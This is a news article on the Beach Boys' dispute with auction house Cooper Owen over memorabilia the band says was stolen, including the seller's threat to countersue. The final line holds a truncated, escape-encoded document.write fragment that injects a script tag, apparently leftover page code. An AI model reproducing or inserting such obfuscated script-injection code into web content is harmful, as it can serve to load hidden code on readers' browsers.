The Beach Boys are involved in a row with a UK auction house who they have accused of selling memorabilia allegedly stolen from the band.
The band say they intend to launch a civil action against Cooper Owen, which is handling the sale of the 28 lots.
They say US police are already investigating the alleged thefts, also intend to sue the person who put the items up for sale and anyone who buys them.
The group's label Brother Records Inc said in a statement: "The FBI and Interpol may also become involved in the investigation."
But the seller of the items has hit back and threatened to countersue the band for the the damage the claims have made to his reputation.
Auctioneers Cooper Owen said in a statement: "The Beach Boys items were purchased more than 20 years ago. (The seller) is claiming full title to the items which he has put up for sale in a public auction.
"He is also threatening to sue The Beach Boys' management for any damages that they have done to his reputation by making these last minute claims.
"Cooper Owen have asked The Beach Boys' management to provide proof - i.e. a copy of a police report - that these items were stolen. As yet they have failed to do so.
"We are now discussing the position with our lawyers. (The seller) has also been in discussion with The Beach Boys' management over this dispute.
"He states that he purchased this material more than 20 years ago and that The Beach Boys' management are wrong.
"He is prepared to fight them in court and depend his position vigorously."
The sale, due to take place today (October 27), includes The Beach Boys' early contracts, lyrics and hand written music sheets.
The lots include the original arrangement sheets for 'Good Vibrations' and 'God Only Knows'.
Collectors are being offered Wilson and co-writer Mike Love's contract for the 1969 Number One hit 'Do It Again' and personal photographs of the band with late Beatle George Harrison.
Other items up for sale include original test pressings for their best known hits including 'Fun, Fun, Fun' and 'I Get Around', reports the BBC.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22